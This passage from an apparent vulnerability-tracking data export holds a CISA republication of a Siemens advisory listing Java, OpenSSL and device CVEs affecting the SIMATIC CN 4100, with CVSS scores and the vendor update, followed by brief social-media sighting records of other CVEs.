fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21925\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: RMI). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 4.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.8\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21932\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: AWT, JavaFX). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.4 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.4\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21933\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Networking). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data as well as unauthorized read access to a subset of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.1\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21945\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u471, 8u471-b50, 8u471-perf, 11.0.29, 17.0.17, 21.0.9, 25.0.1; Oracle GraalVM for JDK: 17.0.17 and 21.0.9; Oracle GraalVM Enterprise Edition: 21.3.16. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-400 Uncontrolled Resource Consumption\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21947\n<div class=\"csaf-accordion-content\">\n\nVulnerability in Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u471-b50. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 3.1 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n3.1\nLOW\nCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22924\n<div class=\"csaf-accordion-content\">\n\nThe affected application does not properly restrict unauthenticated connections and is susceptible to resource exhaustion conditions. This could allow an attacker to disrupt normal operations or perform unauthorized actions, potentially impacting system availability and integrity.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-306 Missing Authentication for Critical Function\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.1\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-22925\n<div class=\"csaf-accordion-content\">\n\nThe affected application is susceptible to resource exhaustion when subjected to high volume of TCP SYN packets This could allow an attacker to render the service unavailable and cause denial-of-service conditions by overwhelming system resources.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-770 Allocation of Resources Without Limits or Throttling\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28387\n<div class=\"csaf-accordion-content\">\n\nIssue summary: An uncommon configuration of clients performing DANE TLSA-based server authentication, when paired with uncommon server DANE TLSA records, may result in a use-after-free and/or double-free on the client side. Impact summary: A use after free can have a range of potential consequences such as the corruption of valid data, crashes or execution of arbitrary code. However, the issue only affects clients that make use of TLSA records with both the PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate usage. By far the most common deployment of DANE is in SMTP MTAs for which RFC7672 recommends that clients treat as 'unusable' any TLSA records that have the PKIX certificate usages. These SMTP (or other similar) clients are not vulnerable to this issue. Conversely, any clients that support only the PKIX usages, and ignore the DANE-TA(2) usage are also not vulnerable. The client would also need to be communicating with a server that publishes a TLSA RRset with both types of TLSA records. No FIPS modules are affected by this issue, the problem code is outside the FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28388\n<div class=\"csaf-accordion-content\">\n\nIssue summary: When a delta CRL that contains a Delta CRL Indicator extension is processed a NULL pointer dereference might happen if the required CRL Number extension is missing. Impact summary: A NULL pointer dereference can trigger a crash which leads to a Denial of Service for an application. When CRL processing and delta CRL processing is enabled during X.509 certificate verification, the delta CRL processing does not check whether the CRL Number extension is NULL before dereferencing it. When a malformed delta CRL file is being processed, this parameter can be NULL, causing a NULL pointer dereference. Exploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in the verification context, the certificate being verified to contain a freshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and an attacker to provide a malformed CRL to an application that processes it. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28389\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyAgreeRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is processed, the optional parameters field of KeyEncryptionAlgorithmIdentifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-28390\n<div class=\"csaf-accordion-content\">\n\nIssue summary: During processing of a crafted CMS EnvelopedData message with KeyTransportRecipientInfo a NULL pointer dereference can happen. Impact summary: Applications that process attacker-controlled CMS data may crash before authentication or cryptographic operations occur resulting in Denial of Service. When a CMS EnvelopedData message that uses KeyTransportRecipientInfo with RSA-OAEP encryption is processed, the optional parameters field of RSA-OAEP SourceFunc algorithm identifier is examined without checking for its presence. This results in a NULL pointer dereference if the field is missing. Applications and services that call CMS_decrypt() on untrusted input (e.g., S/MIME processing or CMS-based protocols) are vulnerable. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31789\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Converting an excessively large OCTET STRING value to a hexadecimal string leads to a heap buffer overflow on 32 bit platforms. Impact summary: A heap buffer overflow may lead to a crash or possibly an attacker controlled code execution or other undefined behavior. If an attacker can supply a crafted X.509 certificate with an excessively large OCTET STRING value in extensions such as the Subject Key Identifier (SKID) or Authority Key Identifier (AKID) which are being converted to hex, the size of the buffer needed for the result is calculated as multiplication of the input length by 3. On 32 bit platforms, this multiplication may overflow resulting in the allocation of a smaller buffer and a heap buffer overflow. Applications and services that print or log contents of untrusted X.509 certificates are vulnerable to this issue. As the certificates would have to have sizes of over 1 Gigabyte, printing or logging such certificates is a fairly unlikely operation and only 32 bit platforms are affected, this issue was assigned Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-31790\n<div class=\"csaf-accordion-content\">\n\nIssue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer. Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker. RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced. If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext. As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-754 Improper Check for Unusual or Exceptional Conditions\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nSiemens ProductCERT reported these vulnerabilities to CISA.\n\n\n\n\nGeneral Recommendations\n\nAs a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens' operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals. Additional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity\n\n\n\nAdditional Resources\n\nFor further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories\n\n\n\nTerms of Use\n\nThe use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the exploitation risk of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, and ensure they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolate them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most recent version available. Also recognize VPN is only as secure as its connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets. Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\n\n\nAdvisory Conversion Disclaimer\n\nThis ICSA is a verbatim republication of Siemens ProductCERT SSA-032379 from a direct conversion of the vendor's Common Security Advisory Framework (CSAF) advisory. This is republished to CISA's website as a means of increasing visibility and is provided \"as-is\" for informational purposes only. CISA is not responsible for the editorial or technical accuracy of republished advisories and provides no warranties of any kind regarding any information contained within this advisory. Further, CISA does not endorse any commercial product or service. Please contact Siemens ProductCERT directly for any questions regarding this advisory.\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-12\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-12\n1\nPublication Date\n\n\n2026-05-14\n2\nInitial CISA Republication of Siemens ProductCERT SSA-032379 advisory\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "b265da7a-4d46-4f91-a597-cb4d5f54e368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/echobit.de/post/3mlthd2agk222", "content": "Linux is most secure OS. Yes. It's perfectly safe\u2026\n\n- Dirty Cow (CVE-2016-5195)\n- Dirty Pipe (CVE-2022-0847)\n- io_uring UAF (CVE-2022-2602)\n- Copy Fail (CVE-2026-31431)\n- Dirty Frag (CVE-2026-43284\n- Fragnesia (CVE-2026-46300)\n\n\u2026 so you have that many methods to recover your root password. \ud83d\ude02", "creation_timestamp": "2026-05-14T18:34:51.684708Z"}, {"uuid": "48bafc29-259d-4cb8-ab6f-7f69e7068be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/pxejltfM6t0bOCIPs7C1JhjfACvEO7Gy-x7DlZhJbRtGeV0", "content": "", "creation_timestamp": "2026-05-14T21:00:04.000000Z"}, {"uuid": "6e3187af-03fa-4d1d-ae7f-326c5d8ee84d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlubzmjy2i2u", "content": "Top 3 CVE for last 7 days:\nCVE-2026-43284: 147 interactions\nCVE-2026-43500: 99 interactions\nCVE-2026-31431: 72 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46300: 39 interactions\nCVE-2026-42945: 17 interactions\nCVE-2026-31431: 14 interactions\n", "creation_timestamp": "2026-05-15T02:30:32.244467Z"}, {"uuid": "6e153d5b-6be6-47c5-9c96-3121ded5bb13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-3160", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/gitlab-multiple-vulnerabilities_20260515", "content": "", "creation_timestamp": "2026-05-14T18:00:00.000000Z"}, {"uuid": "93501aca-d77a-40ba-aada-6a6389c38e74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31156", "type": "seen", "source": "https://t.me/bdufstecru/3165", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f glue_generator.cpp \u043c\u0438\u043a\u0440\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 OpenPLC \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0432\u0435\u0440\u043d\u044b\u043c 